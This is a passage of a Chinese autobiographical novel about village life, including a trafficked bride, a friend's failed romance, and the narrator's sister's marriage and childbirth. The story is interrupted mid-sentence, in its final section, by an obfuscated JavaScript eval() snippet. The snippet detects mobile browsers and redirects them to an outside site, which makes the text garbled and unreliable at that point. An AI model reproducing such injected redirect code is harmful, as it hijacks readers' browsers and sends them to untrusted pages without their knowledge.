华青说:“我去他家楼下找他。余浩下来散步,我看见他了。我问他,余浩,你为什么就是不相信我啊。余浩说,他也没办法,他的家人把他的手机没收了,不让他跟我联系。” 我说:“华青,我觉得一切都在于余浩自己,他是一个大活人,他的家人怎么能控制得了他。是他不想跟你谈了吧。不行,你也把他忘了吧。” 华青说:“我做不到。没有余浩,我快要活不下去了。你不知道我这几天是怎么过的。” 我说:“他和他的家人是觉得他要考博士了,就眼光高了。这样的人,你早点离开也好。” 华青说:“我不行,我要考博,我要跟余浩考到同一个城市去。大省,我们一起考博吧。” 我说:“我不想考了,我不适合读博,我不会写论文。我也不想再读书了。” 华青说:“我要读博。” 我回来以后,跟华青一起去图书馆看书。那时,天已经黑了。我们看看书,就到图书馆外头倚着栏杆说话。 华青说:“这些天,我都要撑不下去了。余浩听他家人的,都不肯跟我见面了。” 我觉得华青太伤心了,不知道该怎么安慰她,又觉得余浩这样的人不值得她这样伤心。 我就跟她说:“华青,余浩不是个好东西!他对你始乱终弃,他不得好死!” 华青听了我的话一愣,她正色跟我说:“你说什么?你怎么能这样咒他!你快朝地上吐口唾沫,把你的话收回去!” 我本以为华青在跟我开玩笑。我看了看她的脸色,虽然是晚上,但她的脸色是认真的严肃的,她倚在图书馆门口,严词拒绝我对余浩的诅咒。我以为对这样的负心汉就应该恩断义绝。但是在华青的心里,感情她们还是一家子还要继续过日子做夫妻的。我又觉得很荒唐,我只是为了给华青出气,为了给她打抱不平,才来咒骂余浩。咒骂人的话又不会实现的,为什么华青就当真了呢。但是我没办法,只好遵守华青的要求朝地上吐了口唾沫,表示我把我对余浩的咒骂收回去。 晚上,回宿舍的时候,我们又一直说着余浩。华青还是伤心不已,她慢吞吞地走着。当时,已经是夜里九点多了,周围漆黑一片。只有路边的灯影儿照在我们脚下的柏油路上。我看着华青这样伤心,就忍不住想把余浩背着她说的话告诉她。可是我又担心华青听了以后会更加伤心。所以我看着华青伤心,一直想说,又不敢说。 但我还是忍不住说了。 我说:“华青,余浩真的不值得你这样。你知道吗?他背着你跟我表白过。他说我是他的娇娜!他就是个花心大萝卜!” 我本以为华青听了这话会恨余浩。哪知道她站直了身子,瞪大眼睛朝着我吼道:“不可能!你撒谎!他怎么可能喜欢你?!” 黑暗中,华青对我瞪着眼睛。我想着她说的那句“他怎么可能喜欢你”,既为她这样的情痴感到悲哀,又为我在她心目中的位置感到悲哀,我不知道该怎么跟华青说,我还想继续告诉华青,余浩他就是个臭流氓。可是华青已然不再听我说话了,她愤愤地看着我,转头就离开了。 第二天,她给我发了信息:“你让我很失望。”是的,那时候还没有微信。是信息。我们的友情就这样莫名其妙地破裂了。 是的,这世界上简直没有什么永远的友谊。你跟一个人莫名其妙地走在一起,又莫名其妙地看着她断然离去。在这悠远的人生的时间长河里,你跟另外的其他人真的就像两只身不由己的小船而已。你们没头没脑地撞在一起,又没头没脑地分开,各自向前驶去。 我自己想想华青对我说的那句“不可能”,我才知道,原来,华青虽然跟我玩,但是她的内心深处并没有真正看得起我,我的贫苦农民的出身,我的膀大腰圆四大面方的容貌,都让她觉得我是低她一等的。在她看来,余浩这样的市民,又将是新晋博士,是断断看不上我这样卑贱的货色的。 人心隔肚皮啊。不是我看着华青伤心,于心不忍,把自己豁出来去劝慰她,我还不知道,她的内心对我是这样的想法。 给华青介绍对象的人是赵欣。不知道怎么的,虽然赵欣给华青介绍了余浩,但是后来,华青跟赵欣的关系不是很好。赵欣是地地道道的市民,长得也妖娆娇媚。可是华青嫌赵欣太有心眼儿,华青在赵欣的眼里其实仍然是一个土包子。 我猜想,余浩,其实是赵欣看不上的,而赵欣,其实是余浩够不着的。 如果换做赵欣,那么余浩跟她也不会有那么多的分分合合,余浩的家人也不会有那么多的妄加干涉。这个我知道。这个是我一直都知道的。但是有的事是我后来才知道的。 那是后来的某一天,赵欣跟我谈起华青,谈起华青跟余浩的感情。我跟赵欣说了华青不理我的事。 赵欣说:“我其实本来还想把余浩介绍给你的。我看你谈恋爱的愿望不怎么强烈。而且,华青年龄大了。” 我说:“我不喜欢余浩这种类型的。” 赵欣笑着说:“我也看不上,都秃了!余浩还想帮我找书,让我跟他一起考博呢。我不想考!” 我说:“啊?你也知道余浩是这种人!他到处跟人家表白!可是你把这些说给华青听,华青还不相信。” 赵欣说:“华青这样也好,他们这样倒真地是一对儿,一个到处表白,一个坚定地选择不相信。” 27. 妹妹的婚事、弟弟的营生 1.甜蜜的妈妈 一个午后,我在屋里剥蒜。听到天井里有女人的声音:“他三姐,我把借恁的几穗玉蜀黍还给恁了哈!” “噢,恁来了,三婶子!就几穗玉蜀黍,给小兄弟、小妹妹吃了是的,还什么还啊!恁还从大西南跑到大西北,也不嫌累得慌。”我妈妈说。 “那可不行,借的就是借的。”那个年轻一点的女人说。 我大概听出了是谁。 “恁还坐坐吧,三婶子?” “我不坐了,我还要回家做饭,甜蜜回来了,买了个鸡,我得去剁剁。” 那个女的走了。我妈妈回来跟我一起剥蒜。 我问我妈妈:“是甜蜜的妈妈啊?” 我妈妈说,“是的!不是她还有谁啊,唉!都怪凡乐他爹,这哪是行好啊,这是给自己的后代造罪!” 我低着头,不说话,沉浸在跟我妈妈同样的愤怒和痛心里。 “凡乐的爹,把甜蜜的妈妈——那个小丫头,从人贩子手里买下来,交给了甜蜜的爹——那个五十多岁的老头子。他们把小丫头跟那老头子锁在屋里。” “小丫头不同意,苦苦哀求,‘大哥!我跟你叫大哥!你放了我吧!’” “‘嗨嗨!我给你叫小妹!嗨嗨,我给你叫小妹!’”我妈妈学着那老头的笑,学地很像,很恶心。 “凡乐他爹,还觉得自己干了一件美差。嗨嗨!‘鲶鱼’都五十了,我给‘鲶鱼’成个人家!”我妈妈学着凡乐他爹的语气。 “甜蜜的妈怎么不跑的?”我说。 “小丫头是贵州那边的,不认识字儿,没见过世面,十几岁被骗出来,让她跑,她都不知道往哪跑。等有了孩子,绊住腿儿了,让她走她都不走了。”我妈妈说。 “甜蜜多大了?”我说。 “甜蜜跟恁弟弟差不多大。他爹都七十了,牙都快掉光了。又给他生了小弟、小妹。” 我问:“甜蜜还上学吧?” 我妈妈说:“甜蜜早就不上学了,出去打工去了。” 我说:“那他都该找对象了。” 我妈妈说:“人人都想不通,老‘鲶鱼’为什么要给甜蜜再生小弟小妹的。光甜蜜一个,他们都给娶不起媳妇了,还要再生两个。” 我说:“是的哎。一家子老的老,小的小,怎么吃的?怎么喝的?” 我妈妈说:“‘鲶鱼’现在仗着自己老了,谁也不能怎么样他。他家没吃的了,他就挎个篮子到山上,这家掰几穗玉蜀黍,那家摘几把豆橛子,回去一大家子烀烀吃。谁家有喜事儿了,‘鲶鱼’就带着两个小孩儿到那一坐。有什么吃什么。人家也不跟他计较。恁么大年纪了。” “他掰就让他掰吧。谁也别和他计较了。甜蜜的妈怎么来还玉蜀黍的?”我问我妈妈。 “还能老这样白吃白拿吗,等他家里有了,半夜哭老太太——想起来一阵子,就去还给人家。”我妈妈说。 我想起来之前见到的一个老头儿,就问我妈妈:“我那天回来,看到一个小老头儿,拿三轮车推着两个小孩,都跟咱家蒜架子恁么高,在东头超市那里,是他吧?” “那八成是他!‘鲶鱼’推着三轮车带着小孩儿。人家谁去超市买煎饼,他就问人家要块煎饼给小孩吃。”我妈妈说。 我家姊妹多,我太知道孩子多的难处了。都说多子多福,可是对于“鲶鱼”来说,那么多的孩子,这对他对孩子来说,哪里还是福呢? “‘鲶鱼’一辈子快过完了,两个小孩儿怎么办?给甜蜜养啊?他连学都没上,他连自己都养不起!”我说。 “听说甜蜜现在都不愿意回家了,恨他妈。”我妈妈说,“老‘鲶鱼’是糊涂了,这个年轻的小三婶子是怎么想的啊,也是糊涂了吗?唉!愁死个人!” 一个阴雨天,我在家里用电脑给我妈妈看《甄嬛传》,近亭大哥来了。 “我想让她大姑给我上电脑上查查,看看月梅搁老家的户口搁哪来。” 近亭在天井里说。 我妈妈说:“这个我也不懂,恁大哥!你去问问俺恁大妹妹!” 近亭那天穿着一件蓝色的汗衫,和一件蓝色的的确良衬衣。 我跟他打招呼说:“来了?大哥!” 近亭大哥进屋以后跟我说:“恁大姑,你能上电脑,给我查查月梅的老家吧,她家搁山西。” 我笑着说:“我查不出来!” 近亭大哥不高兴了,不相信地说:“不可能的,人家派出所的都能查出来的?” 我很为难,就跟他解释说:“人家派出所的电脑,那是联网的,我这个私人的电脑,怎么可能查的到呢?” “你还是不想给查!”近亭说。 我说:“我真不是不想给恁查!我这个私人的电脑真查不到!要是能查得到,那不乱套了吗?谁都能查到别人的户口。” “你自己怎能上电脑的?”近亭说。 “我自己也没上电脑,我只是拿它看电视的,你不懂。”我跟他解释着。 “你都能使它看电视,你还不能查?”近亭说。 “俺家根本就没有网,我跟俺妈妈看的电视剧,都是事先下载好的。”我说,“哎哟!我跟你越说越说不清了。跟你说你又不懂。” 近亭生气了,转身走了,他的蓝色褂子的衣襟在他的背后飘着,他嘴里嘟嘟囔囔地,不知道骂我了没有。我知道他嘴里平时也不太干净,可是我实在没办法帮他查,他六十多岁奔七十的人了,跟他解释,他也不懂,也不听。 唉!我老老实实坐在家里,好端端地就把近亭得罪了,无端地就要被他恼恨几天。你说这事儿闹的。 2.立勤大爷爷去世了 这年的冬天,立勤大爷爷去世了,留下了大奶奶和乔乔大叔。 “大爷爷临死安排的,让恁大奶奶带着乔乔回她娘家。”我妈妈说,“恁大爷爷没对得起自己的妻子孩子!” “乔乔都三十多了,之前有好几回要去□□恁大奶奶,恁大奶奶都是吓唬他。‘被他看到,打死你!’这回,恁大爷爷死了,就剩下傻娘俩儿了。听说娘俩儿就这样搁一块儿过了。”我妈妈说。 “这也不能笑话,她傻!” 我妈妈看似轻松地说,“就跟小动物似的!” “唉!人到八十八,别笑话人瘸和瞎。”我妈妈说,“千秋万岁,谁知道谁后代子孙怎么样。” 我不说话。这种事儿不能笑话,可是想想怎不叫人心痛。 “据说人家为了配种儿,蒙住儿马的眼,让它跟母马配对儿。等它睁开眼知道是自己的娘,就不吃不喝,绝食而亡了。牛马比君子,可怜!”我妈妈哀叹着说。我知道我妈妈终究没办法对这件事儿感到真正地轻松。 是的,傻子虽傻,难道不如牛马乎?傻子虽傻,到底不是牛马,纵使她自己不知道心痛,别人怎能不为之心痛。呜呼哀哉! 立勤大爷爷去世了。他是我的诗词启蒙老师。他生前写了一辈子对联,可惜身后没人为他写上一副挽联。假如立勤大爷爷生前也曾为自己准备一副挽联,那内容一定是他一生经历的写照。到底有没有人为他写呢?我不知道,大概没有吧。对联是写给活着的人看的,对联是用来风光的。大爷爷妻儿呆呆弱弱,家中几乎无人应门立户。怎么会有人有那个闲心来为他写什么挽联呢?为人写挽联的人很多,但是像立勤大爷爷那样,真正不用拿个本子来抄写,能写得真正契合逝者身份的人又有几个?立勤大爷爷孤傲一生,死后,连一副挽联也没有混地上。 半夜里,我睡不着觉,想着立勤大爷爷的一生,为他杜撰了一副挽联,算是我蒙他赐教却无暇顾及他的一种补偿: 广结善缘,飞舌答辩,眉上孤愤谁知?凤兮去矣,莫谈人间恩怨。 勤抚众生,走笔评判,身后凄凉难料。魂兮归来,应佑小儿涂炭。 3.我妹妹的婚事 快过年的时候,有人向我妈妈提起我妹妹的婚事。对方家是镇上开油坊的,家里有三个女儿、一个儿子。他家不嫌弃我家穷。过年的时候,还给我家送了一块并不鲜艳的白色居多的猪肉。我妈妈也不怎么劝说我妹妹,只让她自己拿主意。我妈妈的意思是,我妹妹可以嫁人了。反正她上的职中,毕业了也是出来打工,我妹妹胆小懦弱,出远门打工我妈妈也不放心,还不如在附近找个人家。我妈妈看在跟前,也放心。 年后,那家大叔约我们去他家看看人儿,到了约定的日子,我带我妹妹去了。到了镇上那家油坊,他们家的儿女都还没起。我们跟那家大叔、大婶谈了几句。无非是问问我妹妹的年纪。不一会儿,他家的几个女儿出来了,他家顶着一头黄毛的小儿子也出来了。大叔朝我们使个眼神儿,意思是让我们看看人儿。那个小男孩儿不高,还是个十几岁小孩儿的样子,低着头微笑着,不怎么说话。我跟他爸妈说着话,我妹妹不怎么吭声儿。 我以为我家太穷,有个镇上的富裕之家看上了我妹妹,她可能会很满意。谁知道等我们离开以后,我问我妹妹的意见,她说她一点都看不上那个小男孩儿。她喜欢个子高的。 我妈妈去青羊山镇上卖菜的时候认识了一个大姐,姓熊。这个“熊大姐”对我妈妈很好,我妈妈回家常跟我们说起这个“熊”大姐。 “恁‘英雄大姨’搁青羊山街上卖菜。对俺可好了。她还让俺去她家吃饭。恁‘英雄大姨’还喝酒。她让俺喝,俺不喝。她一家三口儿都喜喝啤酒。她几个闺女送节礼都给她家买啤酒。”我妈妈说。 “谁是‘英雄大姨’哎?”我问她。 “搁青羊山街上卖菜的大姨,姓‘熊’。一个女的,我嫌叫她‘熊’大姐不好听。我就给她叫‘英雄大姐’,让笑笑给她叫‘英雄大姨’。”我妈妈说。 “你还怪有才分来。把个狗熊的‘熊’给变成英雄的‘雄’了。”我笑着跟我妈妈说。 “那!恁妈妈是有状元之才,没有状元之命的。”我妈妈说,“‘英雄大姨’的男人只有一个手,他年轻的时候放炮,把另一个手给炸没了。恁‘英雄大姨’带着她儿卖菜。等她娘俩儿卖菜回来,恁‘英雄大姨’就往铺上一躺。老头儿忙着去炒菜、做饭。你说说,恁大姨哈,也不去帮忙,就让恁大爷一只手按着案板切菜、做饭,我看到都过意不去。响响也不去帮忙。” “响响多大来?”我问。 “响响跟笑笑差不多大。他姊妹五个。恁大姨生了四个闺女,末晚儿生了这一个儿。她家人丁不旺,三代单传。”我妈妈说。 “响响怎么恁么不通人性的?他妈妈不去帮忙,他也不去帮忙啊。”我说。 “人家响响跟着他娘卖菜,可老实了。各人,有的人就是不喜做饭。”我妈妈说。 后来,大概是知道我妹妹喜欢个子高的,我妈妈看人家就一个男孩儿,还在青羊山镇上,离我家不远,就动了这个男孩子的心思。 一次,遇上“英雄大姨”,我妈妈就跟她说起我妹妹的婚姻大事,让她帮着留意着。 “英雄大姨”说:“眼下还没有般配的小男孩儿哦,不知道俺家大响配得上恁家小姐吧。”我妈妈没直接表态,就说:“小孩儿的婚姻,还得看小孩儿自己的缘分。” 后来,“英雄大姨”又跟我妈妈说起了她家的小男孩儿和我妹妹的婚事儿,两家约个日子见面。我妹妹当时也没有什么新衣裳,就穿了我给她的一件绿色的运动外套,和一条蓝色的牛仔裤。我家也没有鞋油,她到我家压水井那里刷了刷鞋上的泥,就跟着我妈妈去“英雄大姨”家相亲去了。 我妈妈和“英雄大姨”在外间说说话儿,让两个小孩儿自己去拉拉呱。大响喊我妹妹去里间听mp3,我妹妹跟着去了。 过了一会儿,两个老妇女进去看看她们的儿女,只见两个小男女坐在一起,肩膀靠着肩膀,一人耳朵上插着一根耳机线,在听音乐呢。 我妈妈早就心里有数:“笑笑长得跟天仙似的!又有文化!大响上哪找这样儿的去!” 这门亲事当场就定了下来。当天,“英雄大姨”就带着我妹妹去买了电动车、手机。电动车放在大响家,大响说,等他有空了就接我妹妹去他家,他教她学电动车。 这以后,我妹妹就经常来往于大响家和我家。 这以后,我家的人到青羊山赶集的时候,路过了大响家的青菜摊子,都是跟贼似的绕着走。 “俺去青羊山从来不走大响家的菜摊子。怕人说孬种,想吃人家的青菜的。大响妈还说我,自从两家结了亲了,她卖菜的时候就看不到咱家的人了。大响以前的那个丈母娘就集集都到,每回都把洋车子放到大响菜摊子上。临走的时候,大响妈都给她带上一捆子青菜。”我妈妈说。 我说:“大响以前也谈过?” 我妈妈说:“谈过。那个小丫头跟着大响跟了四十多天。那个小妮长得才好。白白胖胖,四大面方的。跟着大响赶集,大响搁菜摊子上卖菜,她裹着大衣坐在车上,还喊冷。一会儿叫大响给她掖掖这儿,一会儿叫大响给她掖掖那儿。可会撒娇了。” “那后来怎么没成的?”我问我妈妈。 “后来恁大姨觉得那个小丫头头脑有点问题。恁大姨带着她去吃八大碗,坐席的时候,那个小丫头跟人家说,俺以前跟旁人谈过,流产了。你说这是不是头脑有毛病了?恁大姨不让愿意了。” “大响也同意了?”我问,“他跟那个小丫头好了恁么多天,说散就散了?” “哪有哎。恁大姨不让愿意的。大响恼地睡了二十多天。”我妈妈说。 “那他怎么恁么听他娘的话的?他不能去找人家啊?”我说。 “他那时候还小,十几岁。要是搁在现在,不一定了。”我妈妈说。 我说:“你说说,俺小妹跟了大响,弄得俺去青羊山赶集都不敢路过他家菜摊子了。卖菜都是偷偷地去买旁人家的。” 我妈妈说:“其实就去他家买也没事儿,一样给钱不就行了吗?买谁的不是买啊?菜卖不出去可急得慌了。去买他家的菜就是给他家帮忙的。就是人家不要咱的钱。” 我说:“那我还是不好意思去他家买菜。好像我有意想白吃他家的菜似的。” 有一天,大响过生日,让我妹妹去他家吃饭。天黑了,我妹妹还没有回家。我妈妈吃完晚饭,就一直等我妹妹回家。我妈妈左等右等,我妹妹还没有回来,她等地有些心急了。我弟弟更是气呼呼地,觉得大响把我妹妹留在他家,是不怀好意。我妈妈给我妹妹打了好几个电话,大响才跟我妹妹一起来到我家。 大响跟我妹妹刚走到我家大门口儿,我妹妹看到我妈妈跟我弟弟嘟囔着脸,知道我妈妈不高兴,就带着哭腔跟我妈妈解释说:“妈,今天大响生日,他五点才收摊儿,等回到家,大姨忙着做饭,大响忙着去买蛋糕。等俺大姨烧好饭,都六七点了。大响怕你生气,催着我赶紧吃了几筷子菜,就把我送过来了。” 我弟弟不说话,他虎着脸,走上前去,一把攥住大响的手。他表面上是在跟大响握手儿,实则是暗暗地运起气功,运用内力,使劲儿攥紧大响的手,想把大响的手指给攥疼攥断,想给他点儿颜色看看。我弟弟这一招儿叫“大力金刚指”。谁知道大响这人虽然老实,有亏来到面前来也是不肯吃,他碰到我弟弟的“大力金刚指”,也登时攥紧我弟弟的手,瞪着眼,运起气功,运用内力,跟我弟弟较起劲儿来。 我妈妈看着形势不对劲儿,赶紧劝和:“鸿雁,你是干什么的是!赶紧把手松了!”我弟弟这才把手松了,大响也把手松开了。 我弟弟强忍着疼痛,嘿嘿一笑说:“我是想试试他的膂力如何!还行!” 我弟弟说地轻松,殊不知,大响久经菜场,闻鸡起舞,搬运腾挪,风吹日晒,吸收天地日月精华,晒地乌黑光亮,如同一只烤鸭,早已修炼地铜筋铁骨了。无论是身高体力,还是内功外功气功混元神功,我弟弟根本就不是大响的对手。要不是我妈妈及时喝住,他的手指被大响给捏碎了也未可知。 十月份,我家该起蒜了,大响也来帮忙。两个人拿着小铲子帮我妈妈挖蒜。我妹妹跟我妈妈说说笑笑,大大咧咧。大响埋头挖蒜,默不吭声。 我妹妹那时正值花一样的年纪,她留着新剪裁的细细碎碎的长发,扎起辫子,穿着粉色的衣服,脸上白白净净的。大响虽然有些黑,但也是十八九岁,风华正茂的年纪,他穿着白色的短袖,阳光帅气。 我妹妹比我会打扮,自从跟大响恋爱以后,我妹妹打扮地更时髦了。她买了好几件新衣服,头发也剪地潮流了,她的身材相貌本来就好,这样一打扮,看起来一点都不像是我家的人了。 凡庄的人都说大响太黑,配不上我妹妹。可是我妹妹喜欢,她天天在我家院子里唱歌:“要嫁就嫁灰太狼,这样的男人是榜样。” 我妹妹那阵子跟大响谈地正热,天天捧着手机跟大响发信息。我妈妈一看,实在不像样儿了,就跟她说:“笑笑啊,你天天捧着个手机,也不看书学习了。你把手机给妈妈。妈妈给你保管着。”我妹妹说:“我的手机,谁也不能拿走!我让你保管干什么!” 我弟弟走过去,一把把手机抢过来,我妹妹“哇呀”一声哭叫起来,她拿起菜刀朝我家鸡窝架子上“帮帮”地剁着,边哭边骂:“恁赶紧把我的手机给我!恁凭什么拿我的手机的!” 我弟弟赌气就是不给。我妈妈看我妹妹哭地厉害,着实心疼,就跟我弟弟说:“鸿雁啊,你把手机给恁小妹!你看恁小妹哭的,可怜吧!她脾气恁么好,她这回是真生气了,你别把她气出好歹来。快给她!” 我弟弟把手机拿到我妹妹跟前:“呐,别哭了!给你吧!”我妹妹这才止住悲声,一把把她的手机抢过去。 我妹妹虽然是职高,但是比大响学历高很多,大响只上了几天学就学不进去了,早早退了学,跟着他妈卖菜。如今一二十年过去,连些许几个字也不认得了。 每个星期天下午,大响开着他的电动三轮车来我家送我妹妹去上学。我妹妹跟我妈妈说:“妈,我没有钱喝茶了,你给我找十块钱带着。”我妈妈说:“行。钱都搁我床头上的书包里。你自己去拿吧。”我妹妹就跑去我妈妈那个装钱的书包里,拿上十块钱。大响就蹲在我家大门口儿等着。 过了些日子,大响对我妹妹上学不放心,就开着电动三轮车带着我妹妹一起去她的学校,提前给她退了学毕了业。 我妈妈说,我们家穷,跟姓凡的不来往,没钱也没人儿,三个儿女,哪个结婚也不大办。所以,我妹妹结婚,我家一点动静都没有。 我妹妹快出嫁的时候,她婆婆跟我妈妈说:“让天英从俺家里走吧。去店里化完妆,再回到俺家。就不到恁家了。她几个姐都是这样的。” 我妈妈听了很生气:“怎么能不走俺家呢。俺家再穷,那是娘家。闺女出嫁怎能不走娘家呢,这个太无视人了。不行!得走俺家!” 她婆婆说:“那行吧。让天英搁俺家出去,到店里化完妆,再回娘家,从娘家再出来。” 其实,我跟我弟弟都不希望我妹妹走娘家。因为娘家的风景实在是太煞风景了。妹妹的婚礼有录像,娘家的风景太给她丢脸了。我妹妹倒是没那么大的反应。她是我们三个里头最不虚荣的。 她跟我弟弟商量说:“俺哥,等我结婚的时候,就搁你这屋里走行吧?你这屋录象好看一点。” 我弟弟答应说:“行。” 我那时候在上学。既然我妹妹出嫁,我家不办,我也没有请假回家。我妹妹就在她婆家住着。晚上,我跟我妹妹打电话。她的电话里传来一阵喇叭唢呐的声音。 我说:“小妹,你在干嘛的?” 她说:“我在听响的。”她说的听“响”就是听喇叭。 到了八月十六那天,我妹妹要出嫁了。我妈妈一看,东庄上有一户人家在办丧事儿,那天正准备出殡。我妈妈赶紧给我妹妹打电话:“笑笑啊,你跟恁老婆婆说,你今天结婚不要走娘家了。化完妆直接回恁老婆婆家吧。这庄上有出殡的,别撞到一块儿去了。” 我妹妹说:“行。回我跟俺老婆婆说。” 我妈妈挂上电话,就拿上镰刀去地里割稻子去了。 我妹妹结婚的时候,一个跟着摄像的男的跟我妹妹说:“你老公配不上你,你以后会后悔的。我给你个名片,你拿着。”我妹妹一时不知所措,接过那名片,又不知道放在哪里,一时恐慌,就把那名片放在捧花里。 她们结婚以后,我妹妹就跟大响一起卖菜。 大响在他家排行老五,他上面有四个姐姐。“英雄大姨”并不像我妈妈那样重男轻女,很重视她的几个闺女。大响也对这些个比他年长的姐姐姐夫唯命是从。大响有什么事儿,他的几个姐姐姐夫都来指手画脚,当然,该出人出力的,人家也出人出力。大响跟我妹妹也是没出过门儿、没见过世面的。他们俩儿买个东西,“英雄大姨”都让他姐姐带着去。大响也听他妈的话儿,从结婚直到现在,大响卖菜挣的钱都完完全全交给他妈。家里一应花销都是他妈说了算。我妹妹一分钱的家也不当。 我妹妹一开始也去我的高中食堂上班。我妹妹很能干,一个人看几个烙饼的锅,食堂老板对我妹妹赞不绝口,这可苦了那些原本想轻松一下的大娘们。我妈妈当时也在食堂里。我妈妈气地骂她,不要那么能干,不要逞能,干起活儿来,一个顶俩儿,把那些大娘都得罪了。我妹妹不听,还是继续逞能。后来,大响怕我妹妹年纪轻轻在外头上班,会把他给甩了,又跑到学校食堂,把我妹妹的工作给辞了。我妹妹这一回家就再也没有上过班。 我妹妹结婚以后,一两年内都没有怀孕。她婆婆以为是她的原因,让她大姑姐带着她四处求医,寻求各种偏方,开了药,带回家,熬药给她喝。 我妹妹回家跟我妈妈说:“妈,俺老婆婆开的那些中药可苦了。我都喝不下去。俺老婆婆硬让我喝。” 我妈妈说:“你哪有什么事儿。是大响不能生。恁老婆婆还折磨你。药是随便喝的吗?别把身体喝毁了。你要是喝毁了身子,后悔都来不及了。到时候,他们家拿着你更不当回事儿了。以前有个男的,自己不能生,天天拿着自己的媳妇治疗。天天让她喝中药,硬是把好好的身子给烧毁了。都不能尿尿了,天天挂着尿袋。你别跟他了,趁着年轻,早点改换门庭。跟着他,他不能生孩子。就成了无保了。” 我笑着说:“妈,你给俺讲故事的时候,王三姐嫁鸡随鸡嫁狗随狗,碰到石头瓦块搂三年。怎么一到俺小妹,你就成了王三姐他爹了。让她趁着年轻改换门庭的?” 我妈妈说:“那都是唱戏。哪个当娘的不巴望着自己的儿女过的好啊。” 但是我妹妹意志很坚决,她说:“我不跟大响离婚,我生是他的人,死是他的鬼!” 我妈妈说:“他要是不能生孩子呢?你要是不能生,人家早就不要你了!” 我妹妹说:“俺好好治哎。” 我也说:“就是的,现在医疗发达。能治好。你不要光听恁老婆婆的,光拿你治,你让大响也去看看。到县里好好检查检查。” 我妹妹说:“俺老婆婆说了,回头就让俺四大姑姐带着大响去县里检查去。” 我妈妈说:“你看看,一点不当家,老婆婆说什么是什么。老婆婆还听四个大姑姐的。四个大姑姐是少老婆婆。大响听他娘的。一切大权都是她老婆婆掌握。大响挣的钱也不给她。她一分钱的家也不当,人家真是拿她当猪养着的。这样的日子她也过得下去呢。” 那年冬天,我妹妹陪着她家大响去县里检查了。 她打电话的时候跟我说:“姐,大响搁县里开刀住院了。” 我说:“大响怎么了?怎么住院了?” 她说:“俺四姐带着大响来检查了。医生说的,是输精管堵住了。医生给他开刀了。” 我说:“那我得去看看去。” 我妹妹说:“那你来吧,姐。人家住院的床头上都放着一捧花,就大响没有花。你来的时候给他送个花。” 我说:“好。我跟咱妈妈说一声儿。” 我打电话跟我妈妈说:“妈,笑笑让我去医院看看大响,还让我给他带一捧花。我能去吧?” 我妈妈说:“你是没出门子的大闺女。你不要去。你去了,她大姑姐看到别骂你。等他出了院,我去看看就行了。你没出门子,咱是一家子。我去就代表了。” 我说:“行。我也觉得不合适。我也不太想去。” 大响手术以后,没过多久,我妹妹就怀孕了。 夏天,我去找她玩的时候,刚到她家大门口儿,就看到她穿着一件宽大的孕妇服站在她家大门前,摘她家大门儿旁的辣椒子。 “大宝儿!”她看我来了,边摘着辣椒子,边叫我。 这一年的冬天,快过年的时候,我裹着大棉袄,走在寒风里。我低头看一眼手机,看到了我妹妹的信息:“姐,我生了,生了一个女孩儿。被医生抱走了,放在保温箱里了。” 我很高兴,也很心疼,我想着我妹妹是怎样拖着产后虚弱的身体,从被窝里伸出手来,在寒冷的空气里,颤抖着手指给我发信息的。 我发信息安慰她说:“恭喜小妹!小外甥女诞生了。你好好休息,等我放年假就回去看你。” 等我放年假回家的时候,我跟我妈妈一起去我妹妹家。我妹妹已经满月了。她戴着一顶红色的线帽,坐在床沿上。她的婆婆坐在床头底下的板凳上。她的床前放着一个暖风扇,床上躺着个小宝宝。小宝宝小小的眼睛亮亮的,萌萌的,很是可爱。宝宝的小手指从被子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137801|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里伸出来,像是一朵白白的、软绵绵的小菊花。 我妈妈把一个包着两千块钱的红纸包,塞到小宝宝的手里。小宝宝一把紧紧地抓住了。我妈妈笑着跟她婆婆说:“大姐,你看咱孙女子!多好啊。” 她婆婆说:“是的,俺这个孙女子啊,可不容易了。生下来就给抱走了,放搁保温箱里,俺花了四万多。天英怀孕的时候不能吃饭,吃口儿就吐。生的小孩儿身体也弱。” 我妈妈说:“大姐,你别光看那四万,现在一个孩子多金贵了。给咱一百万,咱也不换啊。” 她婆婆说:“是的。” 我问我妹妹:“小孩儿叫什么名儿啊?” 我妹妹说:“叫雪寒。” 我说:“恁么好听的,真会起名儿,谁给起的?” 她婆婆说:“医生给起的。” 我妹妹说:“我怀孕的时候只想了男孩儿名儿,没起女孩儿名儿。等生出来了,一看是个女孩儿,我不知道该起什么名儿好。给我接生的医生说,这有什么难的。下雪了,天气寒冷,叫雪寒吧。” 我说:“这个医生真会起名儿。” 她婆婆说:“是的!我去给恁准备红糖水去。” 我妈妈说:“你不要忙活了大姐。” 她婆婆说:“哪能行啊,恁么冷的天。恁来一趟不容易。你不吃,还有大姐呢。” 她婆婆出去了。我跟我妹妹说:“小妹,你得好好吃,吃好一点。好好补补身子。” 她妹妹阴沉着脸说:“吃什么哎。你没听见吗?见人就说,花了四万,花了四万。嫌我怀孕的时候不能吃,生下小孩儿来,小孩儿还得进保温箱。钱都花出去了,没钱给我坐月子了,就俺大姑给了一个老母鸡,俺老婆婆煮了煮,撕了给我吃了。” 我说:“花了四万,那也不能让你身体亏着啊。” 我妹妹说:“嗯,她天天说,说的我心情也不好,我也不想吃了。” 我说:“我给你点钱,你自己买点吃的补补身体吧。” 我妹妹说:“我不要。都是一个锅里吃饭。我能自己吃吧?能不给他们吃吧?” 不一会儿,她婆婆端着两碗剥了皮的煮鸡蛋进来了:“赶紧吃吧。大姐。” 我接过碗来。我妈妈也接过碗来。 我妈妈跟她婆婆说:“大姐,我看你床头放着一个小簸箕的。你拿它盖小孩儿的?” 她婆婆说:“是的,快过年了,放鞭炮的多,人家说的,拿簸箕把小孩儿盖上。就不怕放炮仗了。” 年后的时候,我去看我妹妹。我妹妹抱着小孩儿坐在沙发上。小孩儿穿着连体的棉裤,很是可爱。我喜欢小孩儿,拿着手机给她拍照。 我妹妹抱着孩子不高兴地说:“姐,别拍了,拍照对小孩儿不好。” 